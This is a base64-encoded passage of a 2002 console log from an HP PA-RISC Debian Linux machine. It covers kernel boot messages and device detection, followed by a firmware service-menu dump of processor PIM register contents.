IDYsIDI2MjE0NCBieXRlcykKSW5vZGUgY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAxNjM4NCAo
b3JkZXI6IDUsIDEzMTA3MiBieXRlcykKTW91bnQtY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA0
MDk2IChvcmRlcjogMywgMzI3NjggYnl0ZXMpCkJ1ZmZlci1jYWNoZSBoYXNoIHRhYmxlIGVudHJp
ZXM6IDE2Mzg0IChvcmRlcjogNCwgNjU1MzYgYnl0ZXMpClBhZ2UtY2FjaGUgaGFzaCB0YWJsZSBl
bnRyaWVzOiA2NTUzNiAob3JkZXI6IDYsIDI2MjE0NCBieXRlcykKU2VhcmNoaW5nIGZvciBkZXZp
Y2VzLi4uCkZvdW5kIGRldmljZXM6CjEuIEFzdHJvIEJDIFJ1bndheSBQb3J0ICgxMikgYXQgMHhm
ZWQwMDAwMCBbMTBdLCB2ZXJzaW9ucyAweDU4MiwgMHgwLCAweGIKMi4gRWxyb3kgUENJIEJyaWRn
ZSAoMTMpIGF0IDB4ZmVkMzAwMDAgWzEwLzBdLCB2ZXJzaW9ucyAweDc4MiwgMHgwLCAweGEKMy4g
RWxyb3kgUENJIEJyaWRnZSAoMTMpIGF0IDB4ZmVkMzIwMDAgWzEwLzFdLCB2ZXJzaW9ucyAweDc4
MiwgMHgwLCAweGEKNC4gS2F6b28gVysgKDApIGF0IDB4ZmZmYTAwMDAgWzMyXSwgdmVyc2lvbnMg
MHg1ZDAsIDB4MCwgMHg0CjUuIE1lbW9yeSAoMSkgYXQgMHhmZWQxMDIwMCBbNDldLCB2ZXJzaW9u
cyAweDlkLCAweDAsIDB4OQpDUFUocyk6IDEgeCBQQTg2MDAgKFBDWC1XKykgYXQgNDAwLjAwMDAw
MCBNSHoKU0JBIGZvdW5kIEFzdHJvIDIuMSBhdCAweGZlZDAwMDAwCmxiYSB2ZXJzaW9uIFRSNC4w
ICgweDUpIGZvdW5kIGF0IDB4ZmVkMzAwMDAKbGJhIHZlcnNpb24gVFI0LjAgKDB4NSkgZm91bmQg
YXQgMHhmZWQzMjAwMApQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWApMaW51eCBO
RVQ0LjAgZm9yIExpbnV4IDIuNApCYXNlZCB1cG9uIFN3YW5zZWEgVW5pdmVyc2l0eSBDb21wdXRl
ciBTb2NpZXR5IE5FVDMuMDM5CkluaXRpYWxpemluZyBSVCBuZXRsaW5rIHNvY2tldApTb2Z0IHBv
d2VyIHN3aXRjaCBlbmFibGVkLCBwb2xsaW5nIEAgMHhmMDQwMDgwNC4KU3VwZXJJTzogRm91bmQg
TlM4NzU2MCBMZWdhY3kgSS9PIGRldmljZSBhdCAwMDowZS4xIChJUlEgNjQpIApTdXBlcklPOiBT
ZXJpYWwgcG9ydCAxIGF0IDB4M2Y4ClN1cGVySU86IFNlcmlhbCBwb3J0IDIgYXQgMHgyZjgKU3Vw
ZXJJTzogUGFyYWxsZWwgcG9ydCBhdCAweDM3OApTdXBlcklPOiBGbG9wcHkgY29udHJvbGxlciBh
dCAweDNmMApTdXBlcklPOiBBQ1BJIGF0IDB4N2UwClN1cGVySU86IFVTQiByZWd1bGF0b3IgZW5h
YmxlZApwYXJwb3J0MDogUEMtc3R5bGUgYXQgMHgzNzgsIGlycSAxMDEgW1BDU1BQKCwuLi4pXQpT
dGFydGluZyBrc3dhcGQKSm91cm5hbGxlZCBCbG9jayBEZXZpY2UgZHJpdmVyIGxvYWRlZApJbnN0
YWxsaW5nIGtuZnNkIChjb3B5cmlnaHQgKEMpIDE5OTYgb2tpckBtb25hZC5zd2IuZGUpLgpTVEkg
R1NDL1BDSSBncmFwaGljcyBkcml2ZXIgdmVyc2lvbiAwLjkKU1RJIFBDSSBncmFwaGljIFJPTSBm
b3VuZCBhdCBmNDk0MDAwMCAoMTI4IGtCKSwgZmIgYXQgZmIwMDAwMDAgKDE2IE1CKQpTVEkgd29y
ZCBtb2RlIFJPTSBhdCBmNDk0MDA0NCwgaHBhIGF0IGZiMDAwMDAwClNUSSBpZCAzNWFjZGExNi05
YTAyNTg3LCBjb25mb3JtcyB0byBzcGVjIHJldi4gOC4wYwpTVEkgZGV2aWNlOiBIUEE0OTgyQQpz
dGlmYjogVW5zdXBwb3J0ZWQgZ2Z4IGNhcmQgaWQgMHgzNWFjZGExNgpwdHk6IDI1NiBVbml4OTgg
cHR5cyBjb25maWd1cmVkClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1LjA1YyAoMjAwMS0wNy0wOCkg
d2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBTRVJJQUxfUENJIGVuYWJsZWQKdHR5UzAwIGF0IHBv
cnQgMHgwM2Y4IChpcnEgPSA5OSkgaXMgYSAxNjU1MEEKdHR5UzAxIGF0IHBvcnQgMHgwMmY4IChp
cnEgPSAxMDApIGlzIGEgMTY1NTBBCmxwMDogdXNpbmcgcGFycG9ydDAgKGludGVycnVwdC1kcml2
ZW4pLgpHZW5lcmljIFJUQyBEcml2ZXIgdjEuMDIgMDUvMjcvMTk5OSBTYW0gQ3JlYXNleSAoc2Ft
bXlAb2gudmVyaW8uY29tKQpVbmlmb3JtIE11bHRpLVBsYXRmb3JtIEUtSURFIGRyaXZlciBSZXZp
c2lvbjogNi4zMQppZGU6IEFzc3VtaW5nIDMzTUh6IHN5c3RlbSBidXMgc3BlZWQgZm9yIFBJTyBt
b2Rlczsgb3ZlcnJpZGUgd2l0aCBpZGVidXM9eHgKTlM4NzQxNTogSURFIGNvbnRyb2xsZXIgb24g
UENJIGJ1cyAwMCBkZXYgNzAKTlM4NzQxNTogY2hpcHNldCByZXZpc2lvbiAzCk5TODc0
MTU6IG5vdCAxMDAlIG5hdGl2ZSBtb2RlOiB3aWxsIHByb2JlIGlycXMgbGF0ZXIKICAgIGlkZTA6
IEJNLURNQSBhdCAweDA5MDAtMHgwOTA3LCBCSU9TIHNldHRpbmdzOiBoZGE6cGlvLCBoZGI6cGlv
CiAgICBpZGUxOiBCTS1ETUEgYXQgMHgwOTA4LTB4MDkwZiwgQklPUyBzZXR0aW5nczogaGRjOnBp
bywgaGRkOnBpbwpoZGE6IExUTjQ4NVMsIEFUQVBJIENEL0RWRC1ST00gZHJpdmUKaWRlMCBhdCAw
eDFmMC0weDFmNywweDNmNiBvbiBpcnEgMTAzCmhkYTogQVRBUEkgNDhYIENELVJPTSBkcml2ZSwg
MTIwa0IgQ2FjaGUKVW5pZm9ybSBDRC1ST00gZHJpdmVyIFJldmlzaW9uOiAzLjEyClJBTURJU0sg
ZHJpdmVyIGluaXRpYWxpemVkOiAxNiBSQU0gZGlza3Mgb2YgNDA5Nksgc2l6ZSAxMDI0IGJsb2Nr
c2l6ZQpsb29wOiBsb2FkZWQgKG1heCA4IGRldmljZXMpCkxpbnV4IFR1bGlwIGRyaXZlciB2ZXJz
aW9uIDAuOS4xNS1wcmUxMSAoTWF5IDExLCAyMDAyKQp0dWxpcDA6IG5vIHBoeSBpbmZvLCBhYm9y
dGluZyBtdGFibGUgYnVpbGQKdHVsaXAwOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAxMDAw
IHN0YXR1cyA3ODJkIGFkdmVydGlzaW5nIDAxZTEuCmV0aDA6IERpZ2l0YWwgRFMyMTE0MyBUdWxp
cCByZXYgNjUgYXQgMHhmMDAsIDAwOjMwOkQzOjAxOjVBOjNCLCBJUlEgNjYuCnR1bGlwMTogIEVF
UFJPTSBkZWZhdWx0IG1lZGlhIHR5cGUgQXV0b3NlbnNlLgp0dWxpcDE6ICBJbmRleCAjMCAtIE1l
ZGlhIE1JSSAoIzExKSBkZXNjcmliZWQgYnkgYSAyMTE0MiBNSUkgUEhZICgzKSBibG9jay4KdHVs
aXAxOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAzMTAwIHN0YXR1cyA3ODQ5IGFkdmVydGlz
aW5nIDAxMDEuCmV0aDE6IERpZ2l0YWwgRFMyMTE0MyBUdWxpcCByZXYgNjUgYXQgMHgxMjEwMCwg
MDA6MzA6NkU6MDY6MjM6RDAsIElSUSAxMzAuClNDU0kgc3Vic3lzdGVtIGRyaXZlciBSZXZpc2lv
bjogMS4wMApzeW01M2M4eHg6IGF0IFBDSSBidXMgMSwgZGV2aWNlIDMsIGZ1bmN0aW9uIDAKc3lt
NTNjOHh4OiA1M2M4NzUgZGV0ZWN0ZWQgCnN5bTUzYzh4eDogYXQgUENJIGJ1cyAwLCBkZXZpY2Ug
MTUsIGZ1bmN0aW9uIDAKc3ltNTNjOHh4OiA1M2M4OTVhIGRldGVjdGVkIApzeW01M2M4NzUtMDog
cmV2IDB4MjYgb24gcGNpIGJ1cyAxIGRldmljZSAzIGZ1bmN0aW9uIDAgaXJxIDEzMQpzeW01M2M4
NzUtMDogSUQgNywgRmFzdC0yMCwgUGFyaXR5IENoZWNraW5nCnN5bTUzYzg5NWEtMTogcmV2IDB4
MSBvbiBwY2kgYnVzIDAgZGV2aWNlIDE1IGZ1bmN0aW9uIDAgaXJxIDY1CnN5bTUzYzg5NWEtMTog
SUQgNywgRmFzdC00MCwgUGFyaXR5IENoZWNraW5nCnN5bTUzYzg5NWEtMTogaGFuZGxpbmcgcGhh
c2UgbWlzbWF0Y2ggZnJvbSBTQ1JJUFRTLgpzY3NpMCA6IHN5bTUzYzh4eC0xLjcuM2MtMjAwMTA1
MTIKc2NzaTEgOiBzeW01M2M4eHgtMS43LjNjLTIwMDEwNTEyCiAgVmVuZG9yOiBRVUFOVFVNICAg
TW9kZWw6IEFUTEFTNS05TFZEICAgICAgIFJldjogSFAwNAogIFR5cGU6ICAgRGlyZWN0LUFjY2Vz
cyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246IDAzCiAgVmVuZG9yOiBR
VUFOVFVNICAgTW9kZWw6IEFUTEFTNS05TFZEICAgICAgIFJldjogSFAwNAogIFR5cGU6ICAgRGly
ZWN0LUFjY2VzcyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246IDAzCkF0
dGFjaGVkIHNjc2kgZGlzayBzZGEgYXQgc2NzaTEsIGNoYW5uZWwgMCwgaWQgNSwgbHVuIDAKQXR0
YWNoZWQgc2NzaSBkaXNrIHNkYiBhdCBzY3NpMSwgY2hhbm5lbCAwLCBpZCA2LCBsdW4gMApzeW01
M2M4OTVhLTEtPDUsKj46IEZBU1QtMjAgV0lERSBTQ1NJIDQwLjAgTUIvcyAoNTAuMCBucywgb2Zm
c2V0IDMxKQpTQ1NJIGRldmljZSBzZGE6IDE3NzczNTI0IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAo
OTEwMCBNQikKUGFydGl0aW9uIGNoZWNrOgogc2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0IDwgc2Rh
NSBzZGE2IHNkYTcgc2RhOCBzZGE5IHNkYTEwIHNkYTExID4Kc3ltNTNjODk1YS0xLTw2LCo+OiBG
QVNULTIwIFdJREUgU0NTSSA0MC4wIE1CL3MgKDUwLjAgbnMsIG9mZnNldCAzMSkKU0NTSSBkZXZp
Y2Ugc2RiOiAxNzc3MzUyNCA1MTItYnl0ZSBoZHdyIHNlY3RvcnMgKDkxMDAgTUIpCiBzZGI6IHVu
a25vd24gcGFydGl0aW9uIHRhYmxlCnN0aWNvbjogSW5pdGlhbGl6aW5nIFNUSSB0ZXh0IGNvbnNv
bGUuCkNvbnNvbGU6IHN3aXRjaGluZyB0byBjb2xvdXIgU1RJIGNvbnNvbGUgMTYweDY0Cm1pY2U6
IFBTLzIgbW91c2UgZGV2aWNlIGNvbW1vbiBmb3IgYWxsIG1pY2UKSFAgU0RDOiBObyBTREMgZm91
bmQuCkhQIFNEQyBNTEM6IFJlZ2lzdGVyaW5nIHRoZSBTeXN0ZW0gRG9tYWluIENvbnRyb2xsZXIn
cyBISUwgTUxDLgpIUCBTREMgTUxDOiBSZXF1ZXN0IGZvciByYXcgSElMIElTUiBob29rIGRlbmll
ZAptZDogbGluZWFyIHBlcnNvbmFsaXR5IHJlZ2lzdGVyZWQgYXMgbnIgMQptZDogcmFpZDAgcGVy
c29uYWxpdHkgcmVnaXN0ZXJlZCBhcyBuciAyCm1kOiByYWlkMSBwZXJzb25hbGl0eSByZWdpc3Rl
cmVkIGFzIG5yIDMKbWQ6IHJhaWQ1IHBlcnNvbmFsaXR5IHJlZ2lzdGVyZWQgYXMgbnIgNApyYWlk
NTogbWVhc3VyaW5nIGNoZWNrc3VtbWluZyBzcGVlZAogICA4cmVncyAgICAgOiAgIDk2My42MDAg
TUIvc2VjCiAgIDhyZWdzX3ByZWZldGNoOiAgIDk2My42MDAgTUIvc2VjCiAgIDMycmVncyAgICA6
ICAgNjg1LjIwMCBNQi9zZWMKICAgMzJyZWdzX3ByZWZldGNoOiAgIDY4NS4yMDAgTUIvc2VjCnJh
aWQ1OiB1c2luZyBmdW5jdGlvbjogOHJlZ3NfcHJlZmV0Y2ggKDk2My42MDAgTUIvc2VjKQptZDog
bWQgZHJpdmVyIDAuOTAuMCBNQVhfTURfREVWUz0yNTYsIE1EX1NCX0RJU0tTPTI3Cm1kOiBBdXRv
ZGV0ZWN0aW5nIFJBSUQgYXJyYXlzLgptZDogYXV0b3J1biAuLi4KbWQ6IC4uLiBhdXRvcnVuIERP
TkUuCk5FVDQ6IExpbnV4IFRDUC9JUCAxLjAgZm9yIE5FVDQuMApJUCBQcm90b2NvbHM6IElDTVAs
IFVEUCwgVENQLCBJR01QCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgMjA0
OCBidWNrZXRzLCAxNktieXRlcwpUQ1A6IEhhc2ggdGFibGVzIGNvbmZpZ3VyZWQgKGVzdGFibGlz
aGVkIDE2Mzg0IGJpbmQgMzI3NjgpCk5FVDQ6IFVuaXggZG9tYWluIHNvY2tldHMgMS4wL1NNUCBm
b3IgTGludXggTkVUNC4wLgpWRlM6IE1vdW50ZWQgcm9vdCAoZXh0MiBmaWxlc3lzdGVtKSByZWFk
b25seS4KRnJlZWluZyB1bnVzZWQga2VybmVsIG1lbW9yeTogMjY0ayBmcmVlZApJTklUOiB2ZXJz
aW9uIDIuODQgYm9vdGluZwpMb2FkaW5nIC9ldGMvY29uc29sZS9ib290dGltZS5rbWFwLmd6CkFj
dGl2YXRpbmcgc3dhcC4KQWRkaW5nIFN3YXA6IDI1MDg3Mmsgc3dhcC1zcGFjZSAocHJpb3JpdHkg
LTEpCkNoZWNraW5nIHJvb3QgZmlsZSBzeXN0ZW0uLi4KZnNjayAxLjI4LVdJUCAoMTctQXVnLTIw
MDIpCi9kZXYvc2RhNTogY2xlYW4sIDM4MjMyLzIwMzAwOCBmaWxlcywgMTQ2MzAxLzQwNjAxMiBi
bG9ja3MKU3lzdGVtIHRpbWUgd2FzIFR1ZSBTZXAgIDMgMTQ6MjY6NDIgVVRDIDIwMDIuClNldHRp
bmcgdGhlIFN5c3RlbSBDbG9jayB1c2luZyB0aGUgSGFyZHdhcmUgQ2xvY2sgYXMgcmVmZXJlbmNl
Li4uClN5c3RlbSBDbG9jayBzZXQuIFN5c3RlbSBsb2NhbCB0aW1lIGlzIG5vdyBUdWUgU2VwICAz
IDE0OjI2OjQ3IFVUQyAyMDAyLgpDYWxjdWxhdGluZyBtb2R1bGUgZGVwZW5kZW5jaWVzLi4uIGRv
bmUuCkxvYWRpbmcgbW9kdWxlczogCkNoZWNraW5nIGFsbCBmaWxlIHN5c3RlbXMuLi4KZnNjayAx
LjI4LVdJUCAoMTctQXVnLTIwMDIpCi9kZXYvc2RhMzogY2xlYW4sIDI1LzE1NjE2IGZpbGVzLCAy
Nzk4My82MjQ2NCBibG9ja3MKL2Rldi9zZGE2OiBjbGVhbiwgMjcxMi82MjQ5NiBmaWxlcywgMTIz
OTg0LzI0OTg0MCBibG9ja3MKL2Rldi9zZGE3OiBjbGVhbiwgMTEvMzEyMzIgZmlsZXMsIDM5NjIv
MTI0OTEyIGJsb2NrcwovZGV2L3NkYTg6IGNsZWFuLCAxMjIvMzEyMzIgZmlsZXMsIDEwMjExLzEy
NDkxMiBibG9ja3MKL2Rldi9zZGE5OiBjbGVhbiwgNzQwNDcvMjUwMzY4IGZpbGVzLCAzMjY0NTUv
NDk5OTY0IGJsb2NrcwovZGV2L3NkYTEwOiBjbGVhbiwgMTkzNDUvMjUwMzY4IGZpbGVzLCA0MjI3
NDcvNDk5OTY0IGJsb2NrcwovZGV2L3NkYTExOiBjbGVhbiwgNzg5NzQvMjUwMzY4IGZpbGVzLCA0
MTYwMTYvNDk5OTY0IGJsb2NrcwpMb2FkaW5nIHRoZSBzYXZlZC1zdGF0ZSBvZiB0aGUgc2VyaWFs
IGRldmljZXMgZnJvbSAvZXRjLi4uIApTZXR0aW5nIGtlcm5lbCB2YXJpYWJsZXMuCk1vdW50aW5n
IGxvY2FsIGZpbGVzeXN0ZW1zLi4uCi9kZXYvc2RhMyBvbiAvYm9vdCB0eXBlIGV4dDIgKHJ3KQov
ZGV2L3NkYTYgb24gL3ZhciB0eXBlIGV4dDIgKHJ3KQovZGV2L3NkYTcgb24gL3RtcCB0eXBlIGV4
dDIgKHJ3KQovZGV2L3NkYTggb24gL2hvbWUgdHlwZSBleHQyIChydykKL2Rldi9zZGE5IG9uIC91
c3Ivc3JjIHR5cGUgZXh0MiAocncpCi9kZXYvc2RhMTAgb24gL1NvdXJjZXMgdHlwZSBleHQyIChy
dykKL2Rldi9zZGExMSBvbiAvRGV2ZWxvcCB0eXBlIGV4dDIgKHJ3KQpSdW5uaW5nIDBkbnMtZG93
biB0byBtYWtlIHN1cmUgcmVzb2x2LmNvbmYgaXMgb2suLi5kb25lLgpDbGVhbmluZzogL2V0Yy9u
ZXR3b3JrL2lmc3RhdGUuClNldHRpbmcgdXAgSVAgc3Bvb2ZpbmcgcHJvdGVjdGlvbjogcnBfZmls
dGVyLgpDb25maWd1cmluZyBuZXR3b3JrIGludGVyZmFjZXM6IGRvbmUuClN0YXJ0aW5nIHBvcnRt
YXAgZGFlbW9uOiBwb3J0bWFwLgpSClNldHRpbmcgdGhlIFN5c3RlbSBDbG9jayB1c2luZyB0aGUg
SGFyZHdhcmUgQ2xvY2sgYXMgcmVmZXJlbmNlLi4uClN5c3RlbSBDbG9jayBzZXQuIExvY2FsIHRp
bWU6IFR1ZSBTZXAgIDMgMTY6MjY6NTEgQ0VTVCAyMDAyCgpDbGVhbmluZzogL3RtcCAvdmFyL2xv
Y2sgL3Zhci9ydW4uCkluaXRpYWxpemluZyByYW5kb20gbnVtYmVyIGdlbmVyYXRvci4uLiBkb25l
LgpSZWNvdmVyaW5nIG52aSBlZGl0b3Igc2Vzc2lvbnMuLi4gZG9uZS4KSU5JVDogRW50ZXJpbmcg
cnVubGV2ZWw6IDIKU3RhcnRpbmcgc3lzdGVtIGxvZyBkYWVtb246IHN5c2xvZ2RldGgwOiBTZXR0
aW5nIGhhbGYtZHVwbGV4IGJhc2VkIG9uIE1JSSMxIGxpbmsgcGFydG5lciBjYXBhYmlsaXR5IG9m
IDAwMjEuCi4KU3RhcnRpbmcga2VybmVsIGxvZyBkYWVtb246IGtsb2dkLgpTdGFydGluZyBORlMg
Y29tbW9uIHV0aWxpdGllczogc3RhdGQuClN0YXJ0aW5nIGludGVybmV0IHN1cGVyc2VydmVyOiBp
bmV0ZC4KU3RhcnRpbmcgcHJpbnRlciBzcG9vbGVyOiBscGQuCk5vdCBzdGFydGluZyBORlMga2Vy
bmVsIGRhZW1vbjogTm8gZXhwb3J0cy4KU3RhcnRpbmcgT3BlbkJTRCBTZWN1cmUgU2hlbGwgc2Vy
dmVyOiBzc2hkLgpTdGFydGluZyBkZWZlcnJlZCBleGVjdXRpb24gc2NoZWR1bGVyOiBhdGQuClN0
YXJ0aW5nIHBlcmlvZGljIGNvbW1hbmQgc2NoZWR1bGVyOiBjcm9uLgoKRGViaWFuIEdOVS9MaW51
eCB0ZXN0aW5nL3Vuc3RhYmxlIHBhbHgyMDAwIHR0eVMwCgpwYWx4MjAwMCBsb2dpbjogc3RyaW5n
cyAvYm9vdC92bWxpbnV4LTIuNC4xOS1wYTkgfCBncmVwIGdjYwpMaW51eCB2ZXJzaW9uIDIuNC4x
OS1wYTkgKHJvb3RAcGFseDIwMDApIChnY2MgdmVyc2lvbiAzLjIuMSAyMDAyMDgzMCAoRGViaWFu
IHByZXJlbGVhc2UpKSAjMSBUdWUgU2VwIDMgMTU6MTI6MTIgQ0VTVCAyMDAyCnBhbHgyMDAwOn4j
IAoKc2VyCgotLS0tLSBTZXJ2aWNlIE1lbnUgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAgICAgQ29tbWFuZCAgICAgICAgICAgICAg
ICAgICAgICAgICAgIERlc2NyaXB0aW9uCiAgICAgIC0tLS0tLS0gICAgICAgICAgICAgICAgICAg
ICAgICAgICAtLS0tLS0tLS0tLQogICAgICBDaGFzc2lzQ29kZXMgWzxwcm9jPnxPTnxPRkZdICAg
ICAgRGlzcGxheS9lbmFibGUvZGlzYWJsZSBjaGFzc2lzIGNvZGVzCiAgICAgIENMRUFSUElNICAg
ICAgICAgICAgICAgICAgICAgICAgICBDbGVhciAoemVybykgdGhlIGNvbnRlbnRzIG9mIFBJTQog
ICAgICBFZXByb21SZWFkIFs8YWRkcj4gWzxsZW4+XV0gICAgICAgUmVhZCBFRVBST00g
bG9jYXRpb25zCiAgICAgIE1lbVJlYWQgPGFkZHI+IFs8bGVuPl0gWzx0eXBlPl0gICBSZWFkIG1l
bW9yeSBsb2NhdGlvbnMKICAgICAgUGNpRGVsYXkgWzx2YWx1ZT5dICAgICAgICAgICAgICAgIERp
c3BsYXkgb3Igc2V0IFBDSSBkZWxheSB2YWx1ZQogICAgICBQRFQgW0NMRUFSXSAgICAgICAgICAg
ICAgICAgICAgICAgRGlzcGxheSBvciBjbGVhcgogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgdGhlIFBhZ2UgRGVhbGxvY2F0aW9uIFRhYmxlCiAgICAgIFBJTSBbPHByb2M+
XSBbSFBNQ3xMUE1DfFRPQ10gICAgICBEaXNwbGF5IFBJTSBpbmZvcm1hdGlvbgogICAgICBSZW1v
dGVQb3dlciBbT058T0ZGXSAgICAgICAgICAgICAgRGlzcGxheS9lbmFibGUvZGlzYWJsZSByZW1v
dGUgcG93ZXIKICAgICAgU2NSb2xsIFtPTnxPRkZdICAgICAgICAgICAgICAgICAgIERpc3BsYXkg
b3IgY2hhbmdlIHNjcm9sbGluZyBhYmlsaXR5CgogICAgICBCT290IFtQUkl8QUxUfDxwYXRoPl0g
ICAgICAgICAgICAgQm9vdCBmcm9tIHNwZWNpZmllZCBwYXRoCiAgICAgIERJc3BsYXkgICAgICAg
ICAgICAgICAgICAgICAgICAgICBSZWRpc3BsYXkgdGhlIGN1cnJlbnQgbWVudQogICAgICBIRWxw
IFs8bWVudT58PGNvbW1hbmQ+XSAgICAgICAgICAgRGlzcGxheSBoZWxwIGZvciBtZW51IG9yIGNv
bW1hbmQKICAgICAgUkVTRVQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlc3RhcnQgdGhl
IHN5c3RlbQogICAgICBNQWluICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmV0dXJuIHRv
IE1haW4gbWVudQotLS0tLQpTZXJ2aWNlIE1lbnU6IEVudGVyIGNvbW1hbmQgPiBwaW0KClBST0NF
U1NPUiBQSU0gSU5GT1JNQVRJT04KCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNzb3IgMCBIUE1D
IEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLQoKVGltZXN0YW1wID0gCiAgVHVlIFNlcCAg
MyAxNDoyNjoxMyBHTVQgMjAwMiAgICAoMjA6MDI6MDk6MDM6MTQ6MjY6MTMpCgpIUE1DIENoYXNz
aXMgQ29kZXMgPSAyY2JmMCAgMjUwMGIgIDJjYmY0ICAyY2JmYyAgCgpHZW5lcmFsIFJlZ2lzdGVy
cyAwIC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDEwM2I3MjQ0ICAwMDAw
MDAwMDEwMTA4MDY0ICAwMDAwMDAwMDIwN2Y4MDAwCjA0LTA3ICAgMDAwMDAwMDAxMDJiNjgwMCAg
MDAwMDAwMDAyMDdmYzk0MCAgMDAwMDAwMDAyMDdmODAwMCAgMDAwMDAwMDAwMDAwMDAwOAowOC0x
MSAgIDAwMDAwMDAwMTA3ZTJlOTQgIDAwMDAwMDAwMTAzYjZlNDAgIDAwMDAwMDAwMDAwMDA0MDAg
IDAwMDAwMDAwZjA0MDhjZDgKMTItMTUgICAwMDAwMDAwMGYwNDA3ZWYwICAwMDAwMDAwMDFmMWY4
NmQwICAwMDAwMDAwMDAwMDAyMGY4ICAwMDAwMDAwMDAwMDM1Y2VjCjE2LTE5ICAgMDAwMDAwMDAx
MDdmY2RjMCAgMDAwMDAwMDAwMDAxNzgwMCAgMDAwMDAwMDAwMDAyOTQ5NCAgZmZmZmZmZmZmZmZm
ZmZmZgoyMC0yMyAgIDAwMDAwMDAwMDAwMDAwMGUgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAw
MDAwMDQwMDAgIDAwMDAwMDAwMTAyZmQ4MTAKMjQtMjcgICAwMDAwMDAwMDAwMDAyYTRmICAwMDAw
MDAwMDEwN2ZjZGMwICAwMDAwMDAwMDAwMDAwMDBmICAwMDAwMDAwMDEwMmVhMDEwCjI4LTMxICAg
MDAwMDAwMDAwMDAwMDAzMCAgMDAwMDAwMDAxMTQzMDEwMCAgMDAwMDAwMDAxMTQzMDM0MCAgMDAw
MDAwMDAxMDNiYjAxMAoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+IAoK
Q29udHJvbCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAw
MDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAgIDAw
MDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAw
MDAwMDAwMDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwNjM0ICAwMDAwMDAwMDAwMDAwMDAwICAw
MDAwMDAwMDAwMDAwMGMwICAwMDAwMDAwMDAwMDAwMDE3CjEyLTE1ICAgMDAwMDAwMDAwMDAwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDEwNzAwMCAgMDAwMDAwMDAwMDAwMDAwMAox
Ni0xOSAgIDAwMDAwMDdiZTk1ZmZjNjAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMTAxMDg2
MzggIDAwMDAwMDAwMGZhMTEyODgKMjAtMjMgICAwMDAwMDAwMDEwMjQwMjI0ICAwMDAwMDAwMDQ4
MDMwMTA0ICAwMDAwMDAwMDAwMDQwMDBlICAwMDAwMDAwMDgwMDAwMDAwCjI0LTI3ICAgMDAwMDAw
MDAwMDMwNTAwMCAgMDAwMDAwMDAwMDMwNTAwMCAgMDAwMDAwMDAwMDA0NDAyMSAgMDAwMDAwMDBm
MDQxMjAwMAoyOC0zMSAgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAw
MDAwMWYxZjgwMDAgIDAwMDAwMDAwMTAzYTgwMDAKU3BhY2UgUmVnaXN0ZXJzIDAgLSA3CgowMC0w
MyAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMzFhICAgICAgICAgIDAwMDAwMDAwICAgICAgICAg
IDAwMDAwMzFhCjA0LTA3ICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAw
MDAwMDAgICAgICAgICAgMDAwMDAwMDAKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRv
IHF1aXQpPiAKCklJQSBTcGFjZSAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAw
MDAKSUlBIE9mZnNldCAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAxMDEwODYzYwpDaGVj
ayBUeXBlICAgICAgICAgICAgICAgICAgID0gMHgyMDAwMDAwMApDUFUgU3RhdGUgICAgICAgICAg
ICAgICAgICAgID0gMHg5ZTAwMDAwNApDYWNoZSBDaGVjayAgICAgICAgICAgICAgICAgID0gMHgw
MDAwMDAwMApUTEIgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApCdXMgQ2hl
Y2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDMwMTBiYgpBc3Npc3RzIENoZWNrICAgICAgICAg
ICAgICAgID0gMHgwMDAwMDAwMApBc3Npc3QgU3RhdGUgICAgICAgICAgICAgICAgID0gMHgwMDAw
MDAwMApQYXRoIEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgwMDAzMTgwMApTeXN0
ZW0gUmVzcG9uZGVyIEFkZHJlc3MgICAgID0gMHhmZmZmZmZmZmZlZDEwMjAwClN5c3RlbSBSZXF1
ZXN0b3IgQWRkcmVzcyAgICAgPSAweGZmZmZmZmZmZmZmYTAwMDAKCkZsb2F0aW5nLVBvaW50IFJl
